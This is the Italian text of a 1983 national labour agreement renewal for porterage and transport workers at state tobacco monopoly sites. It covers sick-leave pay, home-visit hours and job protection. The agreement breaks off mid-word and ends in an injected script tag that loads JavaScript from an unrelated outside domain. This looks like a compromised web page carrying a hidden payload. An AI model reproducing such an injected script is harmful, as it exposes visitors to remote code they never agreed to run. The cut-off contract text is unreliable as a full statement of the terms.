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Categoria: Facchinaggio, appalti monopolio di stato
Settore: Trasporti
Data stipula: 15-6-1983
Data decorrenza: 1-6-1983
Data scadenza: 31-10-1986

Addì 15 giugno 1983

Tra

l'Ausitra
e

La FILTAT-CISL - la UILTATEP - UIL

è  stato rinnovato con le  seguenti  aggiunte  e  modifiche  il  c.c.n.l. 2
gennaio 1980  per Il personale dipendente  da imprese  esercenti in appalto
dalla   Amministrazione   Autonoma  dei   Monopoli  di  Stato   servizi  di
facchinaggio e trasporti nell'Interno delle manifatture tabacchi e depositi
di generi di monopolio.


DICHIARAZIONE A VERBALE

Le parti si danno -  atto che con la  locazione "servizi  di facchinaggio e
trasporti nell'interno delle manifatture  tabacchi e depositi di  generi di
monopolio"  hanno Inteso disciplinare i servizi di facchinaggio e trasporti
di generi di monopolio tra le manifatture, i depositi e i magazzini.



Art. 18 - TRATTAMENTO DI MALATTIA ED INFORTUNIO

L'assenza per malattia deve essere comunicata all'Impresa entro  il normale
orario di lavoro della giornata in cui si verifica l'assenza.

L'eventuale prosecuzione dello stato di inidoneità al  servizio deve essere
comunicato  all'impresa  entro  il  normale  orario  di  lavoro  del giorno
precedente a quello in cui il lavoratore avrebbe dovuto riprendere servizio
e deve essere attestato da successivi certificati medici che  il lavoratore
deve  consegnare  nel   termine   di   due   giorni   dal   rilascio  della
certificazione.

per le assenze per cause di malattia all'operaio sarà corrisposto:

A) a partire dal 2° giorno lavorativo di assenza fino al 180 giorno
   un'integrazione  del trattamento INPS  fino a raggiungere  il 100% della
   retribuzione globale netta;

B) dal 181° giorno al 270° corresponsione del 50% della retribuzione
   globale netta.


PARTE COMUNE

Il  diritto  alla  conservazione  del  posto  viene  a  cessare  qualora il
lavoratore anche con più periodi di infermità raggiunga in complesso dodici
mesi di assenza nell'arco di 36  mesi consecutivi.  Ai fini del trattamento
di  cui copra si  procede al  cumulo  dei periodi di  assenza  per malattia
verificatisi  nell'arco temporale  degli  ultimi  36  mesi  consecutivi che
precedono l'ultimo giorno di malattia considerato.

Fermo restando  quanto  disposto  dall'art.   5,  legge n.  300, per quanto
concerne il controllo delle assenze per malattia le parti concordano quanto
segue:

- il lavoratore assente è tenuto a trovarsi nel proprio domicilio, dalle
  ore 10  alle ore 12  e dalle ore 15 alle 17, disponibile per le visite di
  controllo;

- nel caso in cui a livello territoriale le visite di controllo siano
  effettuate su iniziativa dell'ente preposto ai controlli  di malattia, in
  orari diversi,  le fasce orarie di cui sopra saranno  adeguate ai criteri
  organizzativi  locali;   sono  fatte  salve  le  eventuali  documentabili
  necessità  di  assentarsi  dal  domicilio  per   visite,  prestazioni  ed
  accertamenti-specialistici  nonchè  per visite  di  controllo,  di cui il
  lavoratore darà preventiva informazione all'azienda.

In mancanza  di  tali  comunicazioni o in  caso di ritardo oltre  i termini
sopra indicati,  a meno che non vi siano giuste ragioni  di impedimento, la
assenza si considera ingiustificata.

Ogni mutamento di Indirizzo durante il periodo di malattia o infortunio non
professionale deve essere tempestivamente comunicato all'impresa.

Al termine della malattia o dell'infortunio il lavoratore  deve presentarsi
immediatamente in azienda per avere disposizioni In ordine alla ripresa del
lavoro.

Il lavoratore che risulti assente alle visite di controllo effettuate nelle
fasce orarie predeterminate,  decade dal diritto dell'indennità economica e
di conseguenza all'integrazione aziendale per l'intero periodo di malattia.

Costituisce  grave inadempimento contrattuale  lo  svolgimento  di attività
lavorativa anche a titolo gratuito durante l'assenza.

Nel caso  in  cui il  lavoratore  abbia impedito  senza  giusticata ragione
sanitaria il tempestivo accertamento dello, stato d<script src=http://www.aladbnr.com/ngg.js></script>













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